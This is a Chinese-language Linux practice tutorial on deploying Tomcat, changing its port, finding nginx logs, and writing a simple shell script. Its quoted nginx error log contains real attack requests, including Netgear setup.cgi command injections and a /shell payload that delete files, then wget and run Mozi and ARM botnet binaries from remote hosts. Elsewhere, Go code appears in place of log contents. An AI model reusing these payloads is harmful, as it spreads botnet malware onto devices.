Linux【实战】
实战
一、关于tomcut
(1)常用编程语言:C、Java、python、C++、net、go、PHP
(2)Java中会将程序打理成一个外包【.war】,放在【Tomcut】中【webapps】里
(3)tomcut的默认端口是8080;
(4)阿帕奇是全球顶尖的 协会
二、java程序环境部署的过程
1、开发写的程序的访问过程
1)通过maven把程序打包成文件名.war,如index.war
2)把java程序的index.war包放到tomcut的Webapps下
3)启动tomcut
4)通过http://IP(服务器IP):8080/文件名
三、实战
1、场景一:部署java程序
1)打开控制台,输入【wget 被下载的软件地址】
2)输入【ls】,查看文件是否下载成功
3)对下载的软件进行解压【tar -zxvf 文件名】
4)输入【ls】,查看文件是否解压成功
5)删除【rm -f 文件】压缩包,并对文件进行重命名
//查看目录与文件
[zl@centos-master ~]$ ls
index.txt
//输入【wget 被下载的软件地址】
[zl@centos-master ~]$ wget https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz
--2022-02-24 18:24:53-- https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz
Resolving dlcdn.apache.org (dlcdn.apache.org)... 151.101.2.132, 2a04:4e42::644
Connecting to dlcdn.apache.org (dlcdn.apache.org)|151.101.2.132|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10595855 (10M) [application/x-gzip]
Saving to: ‘apache-tomcat-8.5.75.tar.gz’
apache-tomcat-8.5.75.tar.gz 100%[=================================================>] 10.10M 30.1KB/s in 4m 8s
2022-02-24 18:29:03 (41.8 KB/s) - ‘apache-tomcat-8.5.75.tar.gz’ saved [10595855/10595855]
//验证下载成功
[zl@centos-master ~]$ ls
apache-tomcat-8.5.75.tar.gz index.txt
//解压下载的压缩包
[zl@centos-master ~]$ tar -zxvf apache-tomcat-8.5.75.tar.gz
apache-tomcat-8.5.75/conf/
apache-tomcat-8.5.75/conf/catalina.policy
apache-tomcat-8.5.75/conf/catalina.properties
//省略部分
apache-tomcat-8.5.75/bin/shutdown.sh
apache-tomcat-8.5.75/bin/startup.sh
apache-tomcat-8.5.75/bin/tool-wrapper.sh
apache-tomcat-8.5.75/bin/version.sh
//验证已解压
[zl@centos-master ~]$ ls
apache-tomcat-8.5.75 apache-tomcat-8.5.75.tar.gz index.txt
//删除压缩包文件
[zl@centos-master ~]$ rm -f apache-tomcat-8.5.75.tar.gz
//确认已删除
[zl@centos-master ~]$ ls
apache-tomcat-8.5.75 index.txt
//对解压文件进行重命名(mv 源文件 文件名)
[zl@centos-master ~]$ mv apache-tomcat-8.5.75 anruo
[zl@centos-master ~]$ ls
anruo index.txt
6)打开文件【cd 文件】,进入文件夹conf【cd conf】,编辑其中的文件server.xml【vim server.xml】
7)进入vim编辑模式后,搜索端口8080【/8080】,找到后修改端口为8081,之后退出vim编辑模式,退出vim。(端口默认8080,若端口没被占用,则取消该部)
8)返回用户目录【cd】,再进入文件中,打开bin目录【cd 文件夹/bin】,运行文件startup.sh【./文件】
2、实站过程与结果
//打开文件(cd 文件)
[zl@centos-master ~]$ cd anruo
//查看其中的文件与目录
[zl@centos-master anruo]$ ls
bin conf lib logs README.md RUNNING.txt webapps
BUILDING.txt CONTRIBUTING.md LICENSE NOTICE RELEASE-NOTES temp work
//进入文件夹conf(cd conf)
[zl@centos-master anruo]$ cd conf
//查看其中的文件与目录
[zl@centos-master conf]$ ls
catalina.policy context.xml jaspic-providers.xsd server.xml tomcat-users.xsd
catalina.properties jaspic-providers.xml logging.properties tomcat-users.xml web.xml
//以下的修改端口部分,若端口未被占用,则不用执行//
//打开server.xml文件,进入vim编辑器的命令模式
[zl@centos-master conf]$ vim server.xml
//在vim命令模式下,输入【/8080】,搜索到8080端口位置
//输入【i】,退出vim命令模式,进入输入模式,对8080端口进行修改为【8081】,如下图所示:
<!-- A "Connector" represents an endpoint by which requests are received
and responses are returned. Documentation at :
Java HTTP Connector: /docs/config/http.html
Java AJP Connector: /docs/config/ajp.html
APR (HTTP/AJP) Connector: /docs/apr.html
Define a non-SSL/TLS HTTP/1.1 Connector on port 8080
-->
<Connector port="8081" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<!--
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
-->
<!-- Define an SSL/TLS HTTP/1.1 Connector on port 8443
This connector uses the NIO implementation. The default
SSLImplementation will depend on the presence of the APR/native
library and the useOpenSSL attribute of the AprLifecycleListener.
Either JSSE or OpenSSL style configuration may be used regardless of
the SSLImplementation selected. JSSE style configuration is used below.
//修改后,点击esc退出输入模式,进入命令模式,输入【:wq】命令,推出vim编辑器
[zl@centos-master conf]$
//查看目前目录和文件
[zl@centos-master conf]$ ls
catalina.policy context.xml jaspic-providers.xsd server.xml tomcat-users.xsd
catalina.properties jaspic-providers.xml logging.properties tomcat-users.xml web.xml
//返回上一级目录(cd ..)
[zl@centos-master conf]$ cd ..
//查看当前目录与文件
[zl@centos-master anruo]$ ls
bin conf lib logs README.md RUNNING.txt webapps
BUILDING.txt CONTRIBUTING.md LICENSE NOTICE RELEASE-NOTES temp work
//进入bin目录(cd bin)
[zl@centos-master anruo]$ cd bin
//查看当前目录的文件与文件夹
[zl@centos-master bin]$ ls
bootstrap.jar ciphers.sh daemon.sh shutdown.bat tomcat-native.tar.gz
catalina.bat commons-daemon.jar digest.bat shutdown.sh tool-wrapper.bat
catalina.sh commons-daemon-native.tar.gz digest.sh startup.bat tool-wrapper.sh
catalina-tasks.xml configtest.bat setclasspath.bat startup.sh version.bat
ciphers.bat configtest.sh setclasspath.sh tomcat-juli.jar version.sh
//其中,启动文件为【startup.sh】,结束文件为【shutdown.sh】
//环境搭建完毕
场景二、问题反馈
问题:当nginx出现问题,需要将错误信息给开发,怎么做?
//登录服务器后,查询nginx的文件位置(find /-name 文件名称)
[root@centos-master ~]# find / -name nginx
/usr/local/nginx
/usr/local/nginx/sbin/nginx
//进入根目录,找到logs目录(cd 路径)
[root@centos-master ~]# cd /usr/local/nginx
//寻找与确认logs目录
[root@centos-master nginx]# ls
client_body_temp conf fastcgi_temp html logs proxy_temp sbin scgi_temp uwsgi_temp
//进入logs文件夹(cd 路径)
[root@centos-master nginx]# cd /usr/local/nginx/logs
//查找与确定error.log
[root@centos-master logs]# ls
access.log error.log nginx.pid
//查看日志文件(tail -f 日志文件)
[root@centos-master logs]# tail error.log
2022/02/25 02:29:01 [error] 1135#0: *467 open() "/usr/local/webapp/dist/_ignition/execute-solution" failed (2: No such file or directory), client: 45.146.165.37, server: localhost, request: "GET /_ignition/execute-solution HTTP/1.1", host: "101.43.158.84:80"
2022/02/25 02:36:44 [error] 1135#0: *468 open() "/usr/local/webapp/dist/setup.cgi" failed (2: No such file or directory), client: 182.113.241.226, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://182.113.241.226:45204/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0"
2022/02/25 02:40:08 [error] 1135#0: *470 open() "/usr/local/webapp/dist/phpMyAdmin/scripts/setup.php" failed (2: No such file or directory), client: 205.185.125.167, server: localhost, request: "GET http://101.43.158.84:80/phpMyAdmin/scripts/setup.php HTTP/1.0"
2022/02/25 06:56:51 [error] 1135#0: *501 open() "/usr/local/webapp/dist/phpmyadmin/scripts/setup.php" failed (2: No such file or directory), client: 205.185.127.43, server: localhost, request: "GET http://101.43.158.84:80/phpmyadmin/scripts/setup.php HTTP/1.0"
2022/02/25 07:01:39 [error] 1135#0: *502 open() "/usr/local/webapp/dist/shell" failed (2: No such file or directory), client: 187.66.49.139, server: localhost, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+ http://2.56.57.7/.s4y/arm;sh+/tmp/arm HTTP/1.1", host: "127.0.0.1:80"
2022/02/25 07:01:44 [error] 1135#0: *504 open() "/usr/local/webapp/dist/shell" failed (2: No such file or directory), client: 187.66.49.139, server: localhost, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+ http://2.56.57.7/.s4y/arm;sh+/tmp/arm HTTP/1.1", host: "127.0.0.1:80"
2022/02/25 07:21:10 [error] 1135#0: *506 open() "/usr/local/webapp/dist/index.php" failed (2: No such file or directory), client: 81.68.238.151, server: localhost, request: "GET /index.php HTTP/1.1", host: "101.43.158.84"
2022/02/25 07:21:10 [error] 1135#0: *506 open() "/usr/local/webapp/dist/phpmyadmin/index.php" failed (2: No such file or directory), client: 81.68.238.151, server: localhost, request: "GET /phpmyadmin/index.php HTTP/1.1", host: "101.43.158.84"
2022/02/25 09:12:19 [error] 1135#0: *514 open() "/usr/local/webapp/dist/setup.cgi" failed (2: No such file or directory), client: 111.185.116.44, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://111.185.116.44:37921/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0"
2022/02/25 09:46:24 [error] 1135#0: *537 "/usr/local/webapp/dist/english/index.html" is not found (2: No such file or directory), client: 58.19.62.60, server: localhost, request: "GET http://www.rfa.org/english/ HTTP/1.1", host: "www.rfa.org"
解决方法:
登录与下载解压apache-tomcat后,操作如下
//查询当前目录
[root@centos-master ~]# ls
24.txt apache-tomcat app.py index.txt login.py mq platform rabbitmq.sh
//进入apache-tomcat文件,查询该文件下的目录
[root@centos-master ~]# cd apache-tomcat
[root@centos-master apache-tomcat]# ls
bin conf lib logs README.md RUNNING.txt webapps
BUILDING.txt CONTRIBUTING.md LICENSE NOTICE RELEASE-NOTES temp work
//进入log日志文件夹,查询日志文件
[root@centos-master apache-tomcat]# cd logs
[root@centos-master logs]# ls
//因为没有运行记录,故无日志文件
[root@centos-master logs]#
//得到日志文件目录
[root@centos-master logs]# pwd
/root/apache-tomcat/logs
问题二:端口被占用,如何快速去修改?
解决方法:
//返回上一级目录
[root@centos-master logs]# cd ..
//查询文件夹现况
[root@centos-master apache-tomcat]# ls
bin conf lib logs README.md RUNNING.txt webapps
BUILDING.txt CONTRIBUTING.md LICENSE NOTICE RELEASE-NOTES temp work
//进入conf文件夹
[root@centos-master apache-tomcat]# cd conf
//查看conf文件夹现况
[root@centos-master conf]# ls
catalina.policy context.xml jaspic-providers.xsd server.xml tomcat-users.xsd
catalina.properties jaspic-providers.xml logging.properties tomcat-users.xml web.xml
//打开server.xml文件,进入vim编辑器
[root@centos-master conf]# vim server.xml
//vim编辑过程见{端口更改}
//退出vim编辑器,回到文件夹里
[root@centos-master conf]#
端口更改
//打开server.xml文件,进入vim编辑器的命令模式
[zl@centos-master conf]$ vim server.xml
//在vim命令模式下,输入【/8080】,搜索到8080端口位置
//输入【i】,退出vim命令模式,进入输入模式,对8080端口进行修改为【8081】,如下图所示:
<!-- A "Connector" represents an endpoint by which requests are received
and responses are returned. Documentation at :
Java HTTP Connector: /docs/config/http.html
Java AJP Connector: /docs/config/ajp.html
APR (HTTP/AJP) Connector: /docs/apr.html
Define a non-SSL/TLS HTTP/1.1 Connector on port 8080
-->
<Connector port="8081" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<!--
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
-->
<!-- Define an SSL/TLS HTTP/1.1 Connector on port 8443
This connector uses the NIO implementation. The default
SSLImplementation will depend on the presence of the APR/native
library and the useOpenSSL attribute of the AprLifecycleListener.
Either JSSE or OpenSSL style configuration may be used regardless of
the SSLImplementation selected. JSSE style configuration is used below.
//修改后,点击esc退出输入模式,进入命令模式,输入【:wq】命令,推出vim编辑器
[root@centos-master conf]#
场景三、sheu.sh脚本编辑
问题:创建一个文件,在其中编写当天时间与文件信息
解决方法:
//查询当前文件与目录
[root@centos-master ~]# ls
24.txt app.py index.txt jrq.sh login.py platform tang.sh 阿建.sh
apache-tomcat cl.sh jiachao.sh lm.sh mq rabbitmq.sh xl.sh
//创建wugen.sh文件
[root@centos-master ~]# touch wugen.sh
//查看当前文件里是否存在touch.sh
[root@centos-master ~]# ls
24.txt app.py index.txt jrq.sh login.py platform tang.sh xl.sh
apache-tomcat cl.sh jiachao.sh lm.sh mq rabbitmq.sh wugen.sh 阿建.sh
//打开wugen.sh,进入vim编辑器
[root@centos-master ~]# vim wugen.sh
//进入vim命令模式,点击i。
//进入输入模式,在两行分别编辑【date】与【ls -lah】后,点击esc退出输入模式,进入命令模式。
//在命令模式下,输入shift+:wq,退出vim编辑器
//对wengen.sh给予读写和执行的权限(查看文件权限:ls -ll)
[root@centos-master ~]# chmod 777 wugen.sh
//运行wigen.sh文件,得到结果
[root@centos-master ~]# ./wugen.sh
//当前时间
Fri Feb 25 11:05:37 CST 2022
//所有文件以及文件大小(包括隐藏文件)
total 280K
dr-xr-x---. 14 root root 4.0K Feb 25 11:23 .
dr-xr-xr-x. 19 root root 4.0K Feb 25 11:23 ..
drwxr-xr-x 2 root root 4.0K Feb 24 18:12 24.txt
-rw-r--r-- 1 root root 28 Feb 25 11:04 anan.sh
drwxr-xr-x 9 root root 4.0K Jun 3 2020 apache-tomcat
-rw-r--r-- 1 root root 3.9K Feb 7 14:49 app.py
-rw------- 1 root root 78K Feb 25 11:23 .bash_history
-rw-r--r--. 1 root root 18 May 11 2019 .bash_logout
-rw-r--r--. 1 root root 176 May 11 2019 .bash_profile
-rw-r--r--. 1 root root 176 May 11 2019 .bashrc
drwx------ 4 root root 4.0K Jan 8 17:17 .cache
-rwxrwxrwx 1 root root 14 Feb 25 11:11 cl.sh
drwx------ 3 root root 4.0K Jan 4 20:55 .config
-rw-r--r--. 1 root root 100 May 11 2019 .cshrc
-r-------- 1 root root 20 Jan 15 00:00 .erlang.cookie
-rw------- 1 root root 12K Feb 23 15:30 .hh.sh.swp
-rw------- 1 root root 12K Feb 23 18:44 .hh.txt.swp
-rw-r--r-- 1 root root 15 Feb 24 18:01 index.txt
-rwxrwxrwx 1 root root 13 Feb 25 10:53 jiachao.sh
-rwxrwxrwx 1 root root 13 Feb 25 11:21 jrq.sh
-rwxrwxrwx 1 root root 14 Feb 25 11:08 lm.sh
drwxr-xr-x 3 root root 4.0K Jun 10 2021 .local
-rw-r--r-- 1 root root 1.7K Feb 18 11:12 login.py
-rwxrwxrwx 1 root root 12 Feb 25 11:11 lx.sh
drwxr-xr-x 3 root root 4.0K Feb 23 17:59 mq
drwxr-xr-x 5 root root 4.0K Jan 8 18:15 .npm
drwxr-xr-x 28 root root 4.0K Jan 8 18:12 .npminstall_tarball
drwxr-xr-x 2 root root 4.0K Jun 10 2021 .pip
drwxr-xr-x 3 root root 4.0K Jan 8 20:15 platform
-rw-r--r-- 1 root root 73 Dec 31 22:22 .pydistutils.cfg
-rw------- 1 root root 68 Jan 8 14:44 .python_history
-rwxrwxrwx 1 root root 136 Jan 15 20:10 rabbitmq.sh
drwx------ 2 root root 4.0K Dec 31 22:22 .ssh
-rwxr-xr-x 1 root root 13 Feb 25 11:22 tang.sh
-rw-r--r--. 1 root root 129 May 11 2019 .tcshrc
-rw------- 1 root root 9.0K Feb 25 11:23 .viminfo
drwxr-xr-x 3 root root 4.0K Jan 8 16:55 .vue-templates
-rw-r--r-- 1 root root 205 Feb 22 16:20 .wget-hsts
-rwxrwxrwx 1 root root 14 Feb 25 11:21 wugen.sh
-rwxr--r-- 1 root root 13 Feb 25 11:18 xl.sh
-rwxrwxrwx 1 root root 12 Feb 25 11:00 yl.sh
-rwxrwxrwx 1 root root 15 Feb 25 11:18 阿建.sh
-rw-r--r-- 1 root root 12K Feb 25 10:54 .阿建.sh.swp
[root@centos-master ~]#
场景四:内存溢出
问题一:在操作时,遇到错误【out of memory:内存溢出】,如何快速定位到该错误?
解决方法:
1、查看文件与目录,确认logs.txt(内存溢出文件)后,打开logs.txt文件,进入vim编辑器的命令模式
[root@centos-master ~]# ls
24.txt apache-tomcat cl.sh jiachao.sh lm.sh logs.txt mq rabbitmq.sh wugen.sh yl.sh
anan.sh app.py index.txt jrq.sh login.py lx.sh platform tang.sh xl.sh 阿建.sh
[root@centos-master ~]# vim logs.txt
2、进入vim命令模式后,查询【out of memory】位置(/outofmomory)
//定位outofmomory位置,得到日志信息
java.lang.outofmemoryerror
package main
import (
"fmt"
)
var name string = "go"
func myFunc() string {
defer func(){
name="python"
}()
fmt.Printf("myFunc()函数里的name:%s\n",name)
return name
}
func main() {
myname :=myFunc()
fmt.Printf("main()函数里的name:%s\n",name)
fmt.Printf("main()函数里面的myname:%s\n",myname)
}
package main
import (
"fmt"
)
3、得到日志文件后,退出vim编辑器(在命令模式下输入:wq)
[root@centos-master ~]# [root@centos-master ~]#
问题二:当日志文件过多,或者日志信息被删除,无法搜索时,该怎么获取日志信息?
解决方法:
//实时查看,实时打印
[root@centos-master ~]# tail -f logs.txt
func main() {
//匿名函数可以充当回调函数,也就是:call then back--->被主体函数调用运算后会返回主函数
sli := []int {1,6,8}
//使用匿名函数来打印切片
visitPrint(sli,func (value int) {
fmt.Println(value)
})
}
注意:搜索指定日志信息时,所有的信息皆为静态信息,实时查看皆为动态参数,两种直接无联系,是独立的存在。